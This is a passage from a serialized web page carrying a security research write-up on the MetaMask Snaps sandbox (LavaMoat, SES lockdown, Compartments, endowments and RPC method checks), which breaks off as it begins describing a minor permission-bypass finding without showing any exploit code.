\"removeEventListener\"",{"type":23,"tag":75,"props":48376,"children":48377},{"style":94},[48378],{"type":29,"value":863},{"type":23,"tag":75,"props":48380,"children":48381},{"style":82},[48382],{"type":29,"value":48383},"true\n",{"type":23,"tag":75,"props":48385,"children":48386},{"class":77,"line":303},[48387],{"type":23,"tag":75,"props":48388,"children":48389},{"style":94},[48390],{"type":29,"value":48391},"      },\n",{"type":23,"tag":75,"props":48393,"children":48394},{"class":77,"line":322},[48395,48400],{"type":23,"tag":75,"props":48396,"children":48397},{"style":110},[48398],{"type":29,"value":48399},"      \"packages\"",{"type":23,"tag":75,"props":48401,"children":48402},{"style":94},[48403],{"type":29,"value":48214},{"type":23,"tag":75,"props":48405,"children":48406},{"class":77,"line":340},[48407,48412,48416,48420],{"type":23,"tag":75,"props":48408,"children":48409},{"style":110},[48410],{"type":29,"value":48411},"        \"@metamask/post-message-stream>@metamask/utils\"",{"type":23,"tag":75,"props":48413,"children":48414},{"style":94},[48415],{"type":29,"value":863},{"type":23,"tag":75,"props":48417,"children":48418},{"style":82},[48419],{"type":29,"value":15268},{"type":23,"tag":75,"props":48421,"children":48422},{"style":94},[48423],{"type":29,"value":118},{"type":23,"tag":75,"props":48425,"children":48426},{"class":77,"line":349},[48427,48432,48436],{"type":23,"tag":75,"props":48428,"children":48429},{"style":110},[48430],{"type":29,"value":48431},"        \"@metamask/post-message-stream>readable-stream\"",{"type":23,"tag":75,"props":48433,"children":48434},{"style":94},[48435],{"type":29,"value":863},{"type":23,"tag":75,"props":48437,"children":48438},{"style":82},[48439],{"type":29,"value":48383},{"type":23,"tag":75,"props":48441,"children":48442},{"class":77,"line":363},[48443],{"type":23,"tag":75,"props":48444,"children":48445},{"style":94},[48446],{"type":29,"value":23908},{"type":23,"tag":75,"props":48448,"children":48449},{"class":77,"line":656},[48450],{"type":23,"tag":75,"props":48451,"children":48452},{"style":94},[48453],{"type":29,"value":346},{"type":23,"tag":32,"props":48455,"children":48456},{},[48457,48459,48465,48467,48473,48475,48481,48483,48489,48490,48496],{"type":29,"value":48458},"One crucial aspect of the policy, apart from the ",{"type":23,"tag":71,"props":48460,"children":48462},{"className":48461},[],[48463],{"type":29,"value":48464},"globals",{"type":29,"value":48466}," section, is the ",{"type":23,"tag":71,"props":48468,"children":48470},{"className":48469},[],[48471],{"type":29,"value":48472},"packages",{"type":29,"value":48474}," segment. This section permits the ",{"type":23,"tag":71,"props":48476,"children":48478},{"className":48477},[],[48479],{"type":29,"value":48480},"@metamask/post-message-stream",{"type":29,"value":48482},"package to exclusively interact with the package ",{"type":23,"tag":71,"props":48484,"children":48486},{"className":48485},[],[48487],{"type":29,"value":48488},"@metamask/utils",{"type":29,"value":2721},{"type":23,"tag":71,"props":48491,"children":48493},{"className":48492},[],[48494],{"type":29,"value":48495},"readable-stream",{"type":29,"value":48497},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":23,"tag":32,"props":48499,"children":48500},{},[48501,48503,48509],{"type":29,"value":48502},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":23,"tag":71,"props":48504,"children":48506},{"className":48505},[],[48507],{"type":29,"value":48508},"lockdown",{"type":29,"value":48510}," function to freeze all javascript builtins prototypes.",{"type":23,"tag":923,"props":48512,"children":48514},{"id":48513},"secure-ecmascript-ses-sandbox-layer-3",[48515],{"type":29,"value":48516},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":23,"tag":32,"props":48518,"children":48519},{},[48520,48522,48529],{"type":29,"value":48521},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":23,"tag":940,"props":48523,"children":48526},{"href":48524,"rel":48525},"https://github.com/endojs/endo/tree/master/packages/ses",[944],[48527],{"type":29,"value":48528},"Secure EcmaScript (SES)",{"type":29,"value":48530}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":23,"tag":30116,"props":48532,"children":48534},{"id":48533},"ses-fundamentals",[48535],{"type":29,"value":48536},"SES Fundamentals",{"type":23,"tag":48538,"props":48539,"children":48540},"h5",{"id":48508},[48541],{"type":29,"value":48542},"Lockdown",{"type":23,"tag":32,"props":48544,"children":48545},{},[48546,48548,48554],{"type":29,"value":48547},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":23,"tag":71,"props":48549,"children":48551},{"className":48550},[],[48552],{"type":29,"value":48553},"lockdown()",{"type":29,"value":48555}," function, which protects javascript objects against some attacks, mainly:",{"type":23,"tag":2797,"props":48557,"children":48558},{},[48559,48572],{"type":23,"tag":2801,"props":48560,"children":48561},{},[48562,48564,48570],{"type":29,"value":48563},"Prototype Pollution\nLockdown executes ",{"type":23,"tag":71,"props":48565,"children":48567},{"className":48566},[],[48568],{"type":29,"value":48569},"Object.freeze",{"type":29,"value":48571}," against all javascript builtins prototypes, preventing these attacks.",{"type":23,"tag":2801,"props":48573,"children":48574},{},[48575,48577,48583,48585,48590],{"type":29,"value":48576},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":23,"tag":71,"props":48578,"children":48580},{"className":48579},[],[48581],{"type":29,"value":48582},"trace",{"type":29,"value":48584}," attribute in an ",{"type":23,"tag":71,"props":48586,"children":48588},{"className":48587},[],[48589],{"type":29,"value":8945},{"type":29,"value":48591}," object, which contains the stack trace of the error.",{"type":23,"tag":48538,"props":48593,"children":48595},{"id":48594},"compartment",[48596],{"type":29,"value":48597},"Compartment",{"type":23,"tag":32,"props":48599,"children":48600},{},[48601,48603,48609,48611,48616],{"type":29,"value":48602},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":23,"tag":71,"props":48604,"children":48606},{"className":48605},[],[48607],{"type":29,"value":48608},"globalThis",{"type":29,"value":48610}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":23,"tag":71,"props":48612,"children":48614},{"className":48613},[],[48615],{"type":29,"value":48608},{"type":29,"value":48617}," context is incapable of tampering with security.",{"type":23,"tag":64,"props":48619,"children":48621},{"className":46808,"code":48620,"language":46810,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[48622],{"type":23,"tag":71,"props":48623,"children":48624},{"__ignoreMap":7},[48625,48654,48687],{"type":23,"tag":75,"props":48626,"children":48627},{"class":77,"line":78},[48628,48632,48637,48641,48645,48650],{"type":23,"tag":75,"props":48629,"children":48630},{"style":82},[48631],{"type":29,"value":2869},{"type":23,"tag":75,"props":48633,"children":48634},{"style":110},[48635],{"type":29,"value":48636}," c",{"type":23,"tag":75,"props":48638,"children":48639},{"style":209},[48640],{"type":29,"value":1193},{"type":23,"tag":75,"props":48642,"children":48643},{"style":82},[48644],{"type":29,"value":43128},{"type":23,"tag":75,"props":48646,"children":48647},{"style":88},[48648],{"type":29,"value":48649}," Compartment",{"type":23,"tag":75,"props":48651,"children":48652},{"style":94},[48653],{"type":29,"value":14944},{"type":23,"tag":75,"props":48655,"children":48656},{"class":77,"line":100},[48657,48661,48665,48669,48673,48678,48682],{"type":23,"tag":75,"props":48658,"children":48659},{"style":110},[48660],{"type":29,"value":14432},{"type":23,"tag":75,"props":48662,"children":48663},{"style":94},[48664],{"type":29,"value":557},{"type":23,"tag":75,"props":48666,"children":48667},{"style":110},[48668],{"type":29,"value":48608},{"type":23,"tag":75,"props":48670,"children":48671},{"style":209},[48672],{"type":29,"value":42617},{"type":23,"tag":75,"props":48674,"children":48675},{"style":110},[48676],{"type":29,"value":48677}," globalThis",{"type":23,"tag":75,"props":48679,"children":48680},{"style":94},[48681],{"type":29,"value":739},{"type":23,"tag":75,"props":48683,"children":48684},{"style":3621},[48685],{"type":29,"value":48686},"// false\n",{"type":23,"tag":75,"props":48688,"children":48689},{"class":77,"line":121},[48690,48694,48698,48702,48706,48711,48715,48720,48724],{"type":23,"tag":75,"props":48691,"children":48692},{"style":110},[48693],{"type":29,"value":14432},{"type":23,"tag":75,"props":48695,"children":48696},{"style":94},[48697],{"type":29,"value":557},{"type":23,"tag":75,"props":48699,"children":48700},{"style":110},[48701],{"type":29,"value":48608},{"type":23,"tag":75,"props":48703,"children":48704},{"style":94},[48705],{"type":29,"value":557},{"type":23,"tag":75,"props":48707,"children":48708},{"style":110},[48709],{"type":29,"value":48710},"JSON",{"type":23,"tag":75,"props":48712,"children":48713},{"style":209},[48714],{"type":29,"value":42617},{"type":23,"tag":75,"props":48716,"children":48717},{"style":110},[48718],{"type":29,"value":48719}," JSON",{"type":23,"tag":75,"props":48721,"children":48722},{"style":94},[48723],{"type":29,"value":739},{"type":23,"tag":75,"props":48725,"children":48726},{"style":3621},[48727],{"type":29,"value":48728},"// true\n",{"type":23,"tag":32,"props":48730,"children":48731},{},[48732,48734,48740,48742,48748,48750,48755],{"type":29,"value":48733},"Compartment also changes the behaviour of evaluators functions such as ",{"type":23,"tag":71,"props":48735,"children":48737},{"className":48736},[],[48738],{"type":29,"value":48739},"eval",{"type":29,"value":48741}," and the ",{"type":23,"tag":71,"props":48743,"children":48745},{"className":48744},[],[48746],{"type":29,"value":48747},"Function",{"type":29,"value":48749}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":23,"tag":71,"props":48751,"children":48753},{"className":48752},[],[48754],{"type":29,"value":48608},{"type":29,"value":557},{"type":23,"tag":48538,"props":48757,"children":48759},{"id":48758},"endowments",[48760],{"type":29,"value":48761},"Endowments",{"type":23,"tag":32,"props":48763,"children":48764},{},[48765,48767,48771,48773,48778],{"type":29,"value":48766},"While creating a Compartment, it is possible to specify ",{"type":23,"tag":9690,"props":48768,"children":48769},{},[48770],{"type":29,"value":48758},{"type":29,"value":48772},". These endowments constitute objects that become accessible within the Compartment's ",{"type":23,"tag":71,"props":48774,"children":48776},{"className":48775},[],[48777],{"type":29,"value":48608},{"type":29,"value":48779},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":23,"tag":32,"props":48781,"children":48782},{},[48783,48785,48791],{"type":29,"value":48784},"In addition, SES provides the ",{"type":23,"tag":71,"props":48786,"children":48788},{"className":48787},[],[48789],{"type":29,"value":48790},"harden()",{"type":29,"value":48792}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":23,"tag":30116,"props":48794,"children":48796},{"id":48795},"setting-up-snaps-execution-env",[48797],{"type":29,"value":48798},"Setting up Snaps Execution Env",{"type":23,"tag":32,"props":48800,"children":48801},{},[48802],{"type":29,"value":48803},"When starting a snap, the setup follows these steps:",{"type":23,"tag":2797,"props":48805,"children":48806},{},[48807],{"type":23,"tag":2801,"props":48808,"children":48809},{},[48810],{"type":23,"tag":16596,"props":48811,"children":48812},{},[48813,48815],{"type":29,"value":48814},"Create endowments based on snap ",{"type":23,"tag":940,"props":48816,"children":48819},{"href":48817,"rel":48818},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[944],[48820],{"type":29,"value":48821},"permissions",{"type":23,"tag":64,"props":48823,"children":48825},{"className":46808,"code":48824,"language":46810,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n    snap,\n    ethereum,\n    snapId,\n    _endowments,\n);\n",[48826],{"type":23,"tag":71,"props":48827,"children":48828},{"__ignoreMap":7},[48829,48879,48891,48902,48914,48926],{"type":23,"tag":75,"props":48830,"children":48831},{"class":77,"line":78},[48832,48836,48840,48844,48848,48853,48857,48862,48866,48870,48875],{"type":23,"tag":75,"props":48833,"children":48834},{"style":82},[48835],{"type":29,"value":2869},{"type":23,"tag":75,"props":48837,"children":48838},{"style":94},[48839],{"type":29,"value":20837},{"type":23,"tag":75,"props":48841,"children":48842},{"style":110},[48843],{"type":29,"value":48758},{"type":23,"tag":75,"props":48845,"children":48846},{"style":94},[48847],{"type":29,"value":611},{"type":23,"tag":75,"props":48849,"children":48850},{"style":110},[48851],{"type":29,"value":48852},"teardown",{"type":23,"tag":75,"props":48854,"children":48855},{"style":94},[48856],{"type":29,"value":863},{"type":23,"tag":75,"props":48858,"children":48859},{"style":110},[48860],{"type":29,"value":48861},"endowmentTeardown",{"type":23,"tag":75,"props":48863,"children":48864},{"style":94},[48865],{"type":29,"value":47394},{"type":23,"tag":75,"props":48867,"children":48868},{"style":209},[48869],{"type":29,"value":212},{"type":23,"tag":75,"props":48871,"children":48872},{"style":88},[48873],{"type":29,"value":48874}," createEndowments",{"type":23,"tag":75,"props":48876,"children":48877},{"style":94},[48878],{"type":29,"value":97},{"type":23,"tag":75,"props":48880,"children":48881},{"class":77,"line":100},[48882,48887],{"type":23,"tag":75,"props":48883,"children":48884},{"style":110},[48885],{"type":29,"value":48886},"    snap",{"type":23,"tag":75,"props":48888,"children":48889},{"style":94},[48890],{"type":29,"value":118},{"type":23,"tag":75,"props":48892,"children":48893},{"class":77,"line":121},[48894,48898],{"type":23,"tag":75,"props":48895,"children":48896},{"style":110},[48897],{"type":29,"value":42679},{"type":23,"tag":75,"props":48899,"children":48900},{"style":94},[48901],{"type":29,"value":118},{"type":23,"tag":75,"props":48903,"children":48904},{"class":77,"line":138},[48905,48910],{"type":23,"tag":75,"props":48906,"children":48907},{"style":110},[48908],{"type":29,"value":48909},"    snapId",{"type":23,"tag":75,"props":48911,"children":48912},{"style":94},[48913],{"type":29,"value":118},{"type":23,"tag":75,"props":48915,"children":48916},{"class":77,"line":161},[48917,48922],{"type":23,"tag":75,"props":48918,"children":48919},{"style":110},[48920],{"type":29,"value":48921},"    _endowments",{"type":23,"tag":75,"props":48923,"children":48924},{"style":94},[48925],{"type":29,"value":118},{"type":23,"tag":75,"props":48927,"children":48928},{"class":77,"line":196},[48929],{"type":23,"tag":75,"props":48930,"children":48931},{"style":94},[48932],{"type":29,"value":15099},{"type":23,"tag":32,"props":48934,"children":48935},{},[48936],{"type":29,"value":48937},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":23,"tag":32,"props":48939,"children":48940},{},[48941,48943,48949,48951,48957],{"type":29,"value":48942},"One clear example is the ",{"type":23,"tag":71,"props":48944,"children":48946},{"className":48945},[],[48947],{"type":29,"value":48948},"endowment:network-access",{"type":29,"value":48950}," permission, that adds the ",{"type":23,"tag":71,"props":48952,"children":48954},{"className":48953},[],[48955],{"type":29,"value":48956},"fetch()",{"type":29,"value":48958}," function to the endowments.",{"type":23,"tag":32,"props":48960,"children":48961},{},[48962,48964,48970],{"type":29,"value":48963},"All endowments are protected with the ",{"type":23,"tag":71,"props":48965,"children":48967},{"className":48966},[],[48968],{"type":29,"value":48969},"harden",{"type":29,"value":48971}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":23,"tag":2797,"props":48973,"children":48974},{"start":100},[48975],{"type":23,"tag":2801,"props":48976,"children":48977},{},[48978],{"type":23,"tag":16596,"props":48979,"children":48980},{},[48981,48983],{"type":29,"value":48982},"Create the snap ",{"type":23,"tag":940,"props":48984,"children":48987},{"href":48985,"rel":48986},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[944],[48988],{"type":29,"value":48594},{"type":23,"tag":64,"props":48990,"children":48992},{"className":46808,"code":48991,"language":46810,"meta":7,"style":7},"const compartment = new Compartment({\n    ...endowments,\n    module: snapModule,\n    exports: snapModule.exports,\n});\n",[48993],{"type":23,"tag":71,"props":48994,"children":48995},{"__ignoreMap":7},[48996,49024,49040,49057,49082],{"type":23,"tag":75,"props":48997,"children":48998},{"class":77,"line":78},[48999,49003,49008,49012,49016,49020],{"type":23,"tag":75,"props":49000,"children":49001},{"style":82},[49002],{"type":29,"value":2869},{"type":23,"tag":75,"props":49004,"children":49005},{"style":110},[49006],{"type":29,"value":49007}," compartment",{"type":23,"tag":75,"props":49009,"children":49010},{"style":209},[49011],{"type":29,"value":1193},{"type":23,"tag":75,"props":49013,"children":49014},{"style":82},[49015],{"type":29,"value":43128},{"type":23,"tag":75,"props":49017,"children":49018},{"style":88},[49019],{"type":29,"value":48649},{"type":23,"tag":75,"props":49021,"children":49022},{"style":94},[49023],{"type":29,"value":26371},{"type":23,"tag":75,"props":49025,"children":49026},{"class":77,"line":100},[49027,49032,49036],{"type":23,"tag":75,"props":49028,"children":49029},{"style":209},[49030],{"type":29,"value":49031},"    ...",{"type":23,"tag":75,"props":49033,"children":49034},{"style":110},[49035],{"type":29,"value":48758},{"type":23,"tag":75,"props":49037,"children":49038},{"style":94},[49039],{"type":29,"value":118},{"type":23,"tag":75,"props":49041,"children":49042},{"class":77,"line":121},[49043,49048,49053],{"type":23,"tag":75,"props":49044,"children":49045},{"style":110},[49046],{"type":29,"value":49047},"    module:",{"type":23,"tag":75,"props":49049,"children":49050},{"style":110},[49051],{"type":29,"value":49052}," snapModule",{"type":23,"tag":75,"props":49054,"children":49055},{"style":94},[49056],{"type":29,"value":118},{"type":23,"tag":75,"props":49058,"children":49059},{"class":77,"line":138},[49060,49065,49069,49073,49078],{"type":23,"tag":75,"props":49061,"children":49062},{"style":110},[49063],{"type":29,"value":49064},"    exports:",{"type":23,"tag":75,"props":49066,"children":49067},{"style":110},[49068],{"type":29,"value":49052},{"type":23,"tag":75,"props":49070,"children":49071},{"style":94},[49072],{"type":29,"value":557},{"type":23,"tag":75,"props":49074,"children":49075},{"style":110},[49076],{"type":29,"value":49077},"exports",{"type":23,"tag":75,"props":49079,"children":49080},{"style":94},[49081],{"type":29,"value":118},{"type":23,"tag":75,"props":49083,"children":49084},{"class":77,"line":161},[49085],{"type":23,"tag":75,"props":49086,"children":49087},{"style":94},[49088],{"type":29,"value":46532},{"type":23,"tag":32,"props":49090,"children":49091},{},[49092,49094,49100,49101,49106,49108,49113],{"type":29,"value":49093},"Note: ",{"type":23,"tag":71,"props":49095,"children":49097},{"className":49096},[],[49098],{"type":29,"value":49099},"module",{"type":29,"value":2721},{"type":23,"tag":71,"props":49102,"children":49104},{"className":49103},[],[49105],{"type":29,"value":49077},{"type":29,"value":49107}," are passed as endowments, but without being ",{"type":23,"tag":9690,"props":49109,"children":49110},{},[49111],{"type":29,"value":49112},"hardened",{"type":29,"value":49114},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":23,"tag":2797,"props":49116,"children":49117},{"start":121},[49118],{"type":23,"tag":2801,"props":49119,"children":49120},{},[49121],{"type":23,"tag":16596,"props":49122,"children":49123},{},[49124,49126],{"type":29,"value":49125},"Evaluate the snap code inside the ",{"type":23,"tag":940,"props":49127,"children":49130},{"href":49128,"rel":49129},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[944],[49131],{"type":29,"value":48594},{"type":23,"tag":64,"props":49133,"children":49135},{"className":46808,"code":49134,"language":46810,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n    compartment.evaluate(sourceCode);\n    this.registerSnapExports(snapId, snapModule);\n});\n",[49136],{"type":23,"tag":71,"props":49137,"children":49138},{"__ignoreMap":7},[49139,49180,49210,49247],{"type":23,"tag":75,"props":49140,"children":49141},{"class":77,"line":78},[49142,49146,49150,49154,49159,49163,49167,49172,49176],{"type":23,"tag":75,"props":49143,"children":49144},{"style":175},[49145],{"type":29,"value":44109},{"type":23,"tag":75,"props":49147,"children":49148},{"style":82},[49149],{"type":29,"value":46910},{"type":23,"tag":75,"props":49151,"children":49152},{"style":94},[49153],{"type":29,"value":557},{"type":23,"tag":75,"props":49155,"children":49156},{"style":88},[49157],{"type":29,"value":49158},"executeInSnapContext",{"type":23,"tag":75,"props":49160,"children":49161},{"style":94},[49162],{"type":29,"value":643},{"type":23,"tag":75,"props":49164,"children":49165},{"style":110},[49166],{"type":29,"value":47214},{"type":23,"tag":75,"props":49168,"children":49169},{"style":94},[49170],{"type":29,"value":49171},", () ",{"type":23,"tag":75,"props":49173,"children":49174},{"style":82},[49175],{"type":29,"value":26057},{"type":23,"tag":75,"props":49177,"children":49178},{"style":94},[49179],{"type":29,"value":401},{"type":23,"tag":75,"props":49181,"children":49182},{"class":77,"line":100},[49183,49188,49192,49197,49201,49206],{"type":23,"tag":75,"props":49184,"children":49185},{"style":110},[49186],{"type":29,"value":49187},"    compartment",{"type":23,"tag":75,"props":49189,"children":49190},{"style":94},[49191],{"type":29,"value":557},{"type":23,"tag":75,"props":49193,"children":49194},{"style":88},[49195],{"type":29,"value":49196},"evaluate",{"type":23,"tag":75,"props":49198,"children":49199},{"style":94},[49200],{"type":29,"value":643},{"type":23,"tag":75,"props":49202,"children":49203},{"style":110},[49204],{"type":29,"value":49205},"sourceCode",{"type":23,"tag":75,"props":49207,"children":49208},{"style":94},[49209],{"type":29,"value":15099},{"type":23,"tag":75,"props":49211,"children":49212},{"class":77,"line":121},[49213,49217,49221,49226,49230,49234,49238,49243],{"type":23,"tag":75,"props":49214,"children":49215},{"style":82},[49216],{"type":29,"value":47256},{"type":23,"tag":75,"props":49218,"children":49219},{"style":94},[49220],{"type":29,"value":557},{"type":23,"tag":75,"props":49222,"children":49223},{"style":88},[49224],{"type":29,"value":49225},"registerSnapExports",{"type":23,"tag":75,"props":49227,"children":49228},{"style":94},[49229],{"type":29,"value":643},{"type":23,"tag":75,"props":49231,"children":49232},{"style":110},[49233],{"type":29,"value":47214},{"type":23,"tag":75,"props":49235,"children":49236},{"style":94},[49237],{"type":29,"value":611},{"type":23,"tag":75,"props":49239,"children":49240},{"style":110},[49241],{"type":29,"value":49242},"snapModule",{"type":23,"tag":75,"props":49244,"children":49245},{"style":94},[49246],{"type":29,"value":15099},{"type":23,"tag":75,"props":49248,"children":49249},{"class":77,"line":138},[49250],{"type":23,"tag":75,"props":49251,"children":49252},{"style":94},[49253],{"type":29,"value":46532},{"type":23,"tag":32,"props":49255,"children":49256},{},[49257,49259,49265,49266,49272,49273,49279],{"type":29,"value":49258},"According to the documentation, the snap must contain one of the following function exports: ",{"type":23,"tag":71,"props":49260,"children":49262},{"className":49261},[],[49263],{"type":29,"value":49264},"onRpcRequest",{"type":29,"value":611},{"type":23,"tag":71,"props":49267,"children":49269},{"className":49268},[],[49270],{"type":29,"value":49271},"onTransaction",{"type":29,"value":24377},{"type":23,"tag":71,"props":49274,"children":49276},{"className":49275},[],[49277],{"type":29,"value":49278},"onCronjob",{"type":29,"value":557},{"type":23,"tag":32,"props":49281,"children":49282},{},[49283,49285,49290],{"type":29,"value":49284},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":23,"tag":71,"props":49286,"children":49288},{"className":49287},[],[49289],{"type":29,"value":48608},{"type":29,"value":49291}," environment of that Compartment.",{"type":23,"tag":32,"props":49293,"children":49294},{},[49295],{"type":29,"value":49296},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":23,"tag":24,"props":49298,"children":49300},{"id":49299},"vulnerability-research",[49301],{"type":29,"value":49302},"Vulnerability research",{"type":23,"tag":923,"props":49304,"children":49306},{"id":49305},"possible-attacks",[49307],{"type":29,"value":49308},"Possible attacks",{"type":23,"tag":32,"props":49310,"children":49311},{},[49312],{"type":29,"value":49313},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":23,"tag":27910,"props":49315,"children":49316},{},[49317,49322,49327,49332],{"type":23,"tag":2801,"props":49318,"children":49319},{},[49320],{"type":29,"value":49321},"Broken SES Container isolation",{"type":23,"tag":2801,"props":49323,"children":49324},{},[49325],{"type":29,"value":49326},"Insecure endowments in Containers",{"type":23,"tag":2801,"props":49328,"children":49329},{},[49330],{"type":29,"value":49331},"Incorrect RPC permission checks",{"type":23,"tag":2801,"props":49333,"children":49334},{},[49335],{"type":29,"value":49336},"Insecure snap installation/update",{"type":23,"tag":32,"props":49338,"children":49339},{},[49340],{"type":29,"value":49341},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":23,"tag":32,"props":49343,"children":49344},{},[49345],{"type":29,"value":49346},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":23,"tag":923,"props":49348,"children":49350},{"id":49349},"rpc-interfaces-endowments",[49351],{"type":29,"value":49352},"RPC interfaces endowments",{"type":23,"tag":30116,"props":49354,"children":49356},{"id":49355},"providers-limitations",[49357],{"type":29,"value":49358},"Providers limitations",{"type":23,"tag":32,"props":49360,"children":49361},{},[49362,49364,49370,49371,49376,49378,49385],{"type":29,"value":49363},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":23,"tag":71,"props":49365,"children":49367},{"className":49366},[],[49368],{"type":29,"value":49369},"snap",{"type":29,"value":2721},{"type":23,"tag":71,"props":49372,"children":49374},{"className":49373},[],[49375],{"type":29,"value":42612},{"type":29,"value":49377}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":23,"tag":940,"props":49379,"children":49382},{"href":49380,"rel":49381},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[944],[49383],{"type":29,"value":49384},"methods",{"type":29,"value":1018},{"type":23,"tag":64,"props":49387,"children":49389},{"className":46808,"code":49388,"language":46810,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n  assert(\n    String.prototype.startsWith.call(args.method, 'wallet_') ||\n      String.prototype.startsWith.call(args.method, 'snap_'),\n    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n  );\n  assert(\n    !BLOCKED_RPC_METHODS.includes(args.method),\n    ethErrors.rpc.methodNotFound({\n      data: {\n        method: args.method,\n      },\n    }),\n  );\n  assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[49390],{"type":23,"tag":71,"props":49391,"children":49392},{"__ignoreMap":7},[49393,49433,49441,49453,49523,49584,49596,49604,49615,49655,49685,49697,49722,49729,49737,49744,49782],{"type":23,"tag":75,"props":49394,"children":49395},{"class":77,"line":78},[49396,49401,49406,49411,49415,49420,49424,49429],{"type":23,"tag":75,"props":49397,"children":49398},{"style":175},[49399],{"type":29,"value":49400},"export",{"type":23,"tag":75,"props":49402,"children":49403},{"style":82},[49404],{"type":29,"value":49405}," function",{"type":23,"tag":75,"props":49407,"children":49408},{"style":88},[49409],{"type":29,"value":49410}," assertSnapOutboundRequest",{"type":23,"tag":75,"props":49412,"children":49413},{"style":94},[49414],{"type":29,"value":643},{"type":23,"tag":75,"props":49416,"children":49417},{"style":110},[49418],{"type":29,"value":49419},"args",{"type":23,"tag":75,"props":49421,"children":49422},{"style":209},[49423],{"type":29,"value":1018},{"type":23,"tag":75,"props":49425,"children":49426},{"style":104},[49427],{"type":29,"value":49428}," RequestArguments",{"type":23,"tag":75,"props":49430,"children":49431},{"style":94},[49432],{"type":29,"value":193},{"type":23,"tag":75,"props":49434,"children":49435},{"class":77,"line":100},[49436],{"type":23,"tag":75,"props":49437,"children":49438},{"style":3621},[49439],{"type":29,"value":49440},"  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":23,"tag":75,"props":49442,"children":49443},{"class":77,"line":121},[49444,49449],{"type":23,"tag":75,"props":49445,"children":49446},{"style":88},[49447],{"type":29,"value":49448},"  assert",{"type":23,"tag":75,"props":49450,"children":49451},{"style":94},[49452],{"type":29,"value":97},{"type":23,"tag":75,"props":49454,"children":49455},{"class":77,"line":138},[49456,49461,49465,49470,49474,49479,49483,49488,49492,49496,49500,49505,49509,49514,49518],{"type":23,"tag":75,"props":49457,"children":49458},{"style":104},[49459],{"type":29,"value":49460},"    String",{"type":23,"tag":75,"props":49462,"children":49463},{"style":94},[49464],{"type":29,"value":557},{"type":23,"tag":75,"props":49466,"children":49467},{"style":110},[49468],{"type":29,"value":49469},"prototype",{"type":23,"tag":75,"props":49471,"children":49472},{"style":94},[49473],{"type":29,"value":557},{"type":23,"tag":75,"props":49475,"children":49476},{"style":110},[49477],{"type":29,"value":49478},"startsWith",{"type":23,"tag":75,"props":49480,"children":49481},{"style":94},[49482],{"type":29,"value":557},{"type":23,"tag":75,"props":49484,"children":49485},{"style":88},[49486],{"type":29,"value":49487},"call",{"type":23,"tag":75,"props":49489,"children":49490},{"style":94},[49491],{"type":29,"value":643},{"type":23,"tag":75,"props":49493,"children":49494},{"style":110},[49495],{"type":29,"value":49419},{"type":23,"tag":75,"props":49497,"children":49498},{"style":94},[49499],{"type":29,"value":557},{"type":23,"tag":75,"props":49501,"children":49502},{"style":110},[49503],{"type":29,"value":49504},"method",{"type":23,"tag":75,"props":49506,"children":49507},{"style":94},[49508],{"type":29,"value":611},{"type":23,"tag":75,"props":49510,"children":49511},{"style":1266},[49512],{"type":29,"value":49513},"'wallet_'",{"type":23,"tag":75,"props":49515,"children":49516},{"style":94},[49517],{"type":29,"value":167},{"type":23,"tag":75,"props":49519,"children":49520},{"style":209},[49521],{"type":29,"value":49522},"||\n",{"type":23,"tag":75,"props":49524,"children":49525},{"class":77,"line":161},[49526,49531,49535,49539,49543,49547,49551,49555,49559,49563,49567,49571,49575,49580],{"type":23,"tag":75,"props":49527,"children":49528},{"style":104},[49529],{"type":29,"value":49530},"      